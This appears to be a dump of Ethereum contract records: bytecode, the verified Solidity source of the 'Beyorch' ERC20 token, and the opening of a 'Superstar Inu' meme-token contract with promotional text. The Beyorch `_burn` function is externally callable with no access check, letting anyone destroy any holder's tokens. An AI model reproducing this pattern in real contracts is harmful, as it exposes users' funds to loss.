1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610c9f578181015183820152602001610c87565b50505050905090810190601f168015610ccc5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610cff578181015183820152602001610ce7565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610dba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119376038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610ebf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806119a76036913960400191505060405180910390fd5b610ed9600254610ecd611727565b9063ffffffff61172b16565b821015610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611a1a6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fba578181015183820152602001610fa2565b50505050905090810190601f168015610fe75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561101a578181015183820152602001611002565b50505050905090810190601f1680156110475780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561111f578181015183820152602001611107565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561117f578181015183820152602001611167565b50505050905090810190601f1680156111ac5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b33301461121f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061196f6038913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff163314611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806117df6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561138d578181015183820152602001611375565b50505050905090810190601f1680156113ba5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156113ed5781810151838201526020016113d5565b50505050905090810190601f16801561141a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156114f25781810151838201526020016114da565b50505050905090810190601f16801561151f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561155257818101518382015260200161153a565b50505050905090810190601f16801561157f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b33301461160b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a636031913960400191505060405180910390fd5b6202a300811015611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061188e6034913960400191505060405180910390fd5b62278d008111156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118c26038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561179f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a723158205463e28dc10094defec97b4a159010da59fb3efc2ff77ebee847de75835281b264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,915 |
0x3CE1f06f51304B5CF5f437cb1eAc408Ba8C5e4e5 | /**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
event ownershipTransfer(address from, address to);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Beyorch is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
address public _owner;
uint8 public _decimals;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "Beyorch Digital";
_symbol = "BYC";
_decimals = 8;
_owner = msg.sender;
_totalSupply = 500000000 * 10**8;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) external virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
modifier onlyOwner {
require(msg.sender == _owner);
_;
}
function OwnershipTransfer(address _newOwner) external virtual onlyOwner{
_owner = _newOwner;
emit ownershipTransfer(msg.sender, _newOwner);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636161eb1811610097578063a9059cbb11610066578063a9059cbb1461029c578063b2bdfa7b146102cc578063dd62ed3e146102ea578063dfc396911461031a576100f5565b80636161eb181461020257806370a082311461021e57806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806332424aa3146101b457806339509351146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f9190611267565b60405180910390f35b610132600480360381019061012d919061101c565b6103c8565b60405161013f919061124c565b60405180910390f35b6101506103e6565b60405161015d91906113a9565b60405180910390f35b610180600480360381019061017b9190610fcd565b6103f0565b60405161018d919061124c565b60405180910390f35b61019e6104e8565b6040516101ab91906113c4565b60405180910390f35b6101bc6104ff565b6040516101c991906113c4565b60405180910390f35b6101ec60048036038101906101e7919061101c565b610512565b6040516101f9919061124c565b60405180910390f35b61021c6004803603810190610217919061101c565b6105be565b005b61023860048036038101906102339190610f68565b610789565b60405161024591906113a9565b60405180910390f35b6102566107d1565b6040516102639190611267565b60405180910390f35b6102866004803603810190610281919061101c565b610863565b604051610293919061124c565b60405180910390f35b6102b660048036038101906102b1919061101c565b61094e565b6040516102c3919061124c565b60405180910390f35b6102d461096c565b6040516102e19190611208565b60405180910390f35b61030460048036038101906102ff9190610f91565b610992565b60405161031191906113a9565b60405180910390f35b610334600480360381019061032f9190610f68565b610a19565b005b6060600480546103459061150d565b80601f01602080910402602001604051908101604052809291908181526020018280546103719061150d565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610af0565b8484610af8565b6001905092915050565b6000600254905090565b60006103fd848484610cc3565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610448610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104bf90611309565b60405180910390fd5b6104dc856104d4610af0565b858403610af8565b60019150509392505050565b6000600360149054906101000a900460ff16905090565b600360149054906101000a900460ff1681565b60006105b461051f610af0565b84846001600061052d610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105af91906113fb565b610af8565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561062e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062590611329565b60405180910390fd5b61063a82600083610f39565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b7906112a9565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546107179190611451565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161077c91906113a9565b60405180910390a3505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546107e09061150d565b80601f016020809104026020016040519081016040528092919081815260200182805461080c9061150d565b80156108595780601f1061082e57610100808354040283529160200191610859565b820191906000526020600020905b81548152906001019060200180831161083c57829003601f168201915b5050505050905090565b60008060016000610872610af0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690611389565b60405180910390fd5b61094361093a610af0565b85858403610af8565b600191505092915050565b600061096261095b610af0565b8484610cc3565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7357600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7ee35ffa528a36037ec23ed4b99d479118464d605ffa951ac0441db66273b3323382604051610ae5929190611223565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5f90611369565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcf906112c9565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb691906113a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a90611349565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a90611289565b60405180910390fd5b610dae838383610f39565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b906112e9565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec791906113fb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f2b91906113a9565b60405180910390a350505050565b505050565b600081359050610f4d81611875565b92915050565b600081359050610f628161188c565b92915050565b600060208284031215610f7a57600080fd5b6000610f8884828501610f3e565b91505092915050565b60008060408385031215610fa457600080fd5b6000610fb285828601610f3e565b9250506020610fc385828601610f3e565b9150509250929050565b600080600060608486031215610fe257600080fd5b6000610ff086828701610f3e565b935050602061100186828701610f3e565b925050604061101286828701610f53565b9150509250925092565b6000806040838503121561102f57600080fd5b600061103d85828601610f3e565b925050602061104e85828601610f53565b9150509250929050565b61106181611485565b82525050565b61107081611497565b82525050565b6000611081826113df565b61108b81856113ea565b935061109b8185602086016114da565b6110a48161159d565b840191505092915050565b60006110bc6023836113ea565b91506110c7826115ae565b604082019050919050565b60006110df6022836113ea565b91506110ea826115fd565b604082019050919050565b60006111026022836113ea565b915061110d8261164c565b604082019050919050565b60006111256026836113ea565b91506111308261169b565b604082019050919050565b60006111486028836113ea565b9150611153826116ea565b604082019050919050565b600061116b6021836113ea565b915061117682611739565b604082019050919050565b600061118e6025836113ea565b915061119982611788565b604082019050919050565b60006111b16024836113ea565b91506111bc826117d7565b604082019050919050565b60006111d46025836113ea565b91506111df82611826565b604082019050919050565b6111f3816114c3565b82525050565b611202816114cd565b82525050565b600060208201905061121d6000830184611058565b92915050565b60006040820190506112386000830185611058565b6112456020830184611058565b9392505050565b60006020820190506112616000830184611067565b92915050565b600060208201905081810360008301526112818184611076565b905092915050565b600060208201905081810360008301526112a2816110af565b9050919050565b600060208201905081810360008301526112c2816110d2565b9050919050565b600060208201905081810360008301526112e2816110f5565b9050919050565b6000602082019050818103600083015261130281611118565b9050919050565b600060208201905081810360008301526113228161113b565b9050919050565b600060208201905081810360008301526113428161115e565b9050919050565b6000602082019050818103600083015261136281611181565b9050919050565b60006020820190508181036000830152611382816111a4565b9050919050565b600060208201905081810360008301526113a2816111c7565b9050919050565b60006020820190506113be60008301846111ea565b92915050565b60006020820190506113d960008301846111f9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611406826114c3565b9150611411836114c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114465761144561153f565b5b828201905092915050565b600061145c826114c3565b9150611467836114c3565b92508282101561147a5761147961153f565b5b828203905092915050565b6000611490826114a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114f85780820151818401526020810190506114dd565b83811115611507576000848401525b50505050565b6000600282049050600182168061152557607f821691505b602082108114156115395761153861156e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61187e81611485565b811461188957600080fd5b50565b611895816114c3565b81146118a057600080fd5b5056fea2646970667358221220ca5f90e47bc6bd8b9cf2b47a4df0f2d421a274ef7caeff99e98bba4b7af80ac964736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 1,916 |
0x9482a83f30185f81454318f87891e1bd7462fe8b | /**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/**
__ .__
________ ________ ___________ _______/ |______ _______ |__| ____ __ __
/ ___/ | \____ \_/ __ \_ __ \/ ___/\ __\__ \\_ __ \ | |/ \| | \
\___ \| | / |_> > ___/| | \/\___ \ | | / __ \| | \/ | | | \ | /
/____ >____/| __/ \___ >__| /____ > |__| (____ /__| |__|___| /____/
\/ |__| \/ \/ \/ \/
The hottest new dog taking over the Ethereum network, rivaling the works of Hollywood Inu. Our goal is to help out struggling actors, actresses, stage hands, and screenwriters. Our team is composed of a few theater majors who have been and seen it all in the industry, and know how much of a help a little donation can go.
Our first donation will be done immediately after a successful launch, and the etherscan link and wallet will be pinned for people to see.
https://t.me/superstarinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
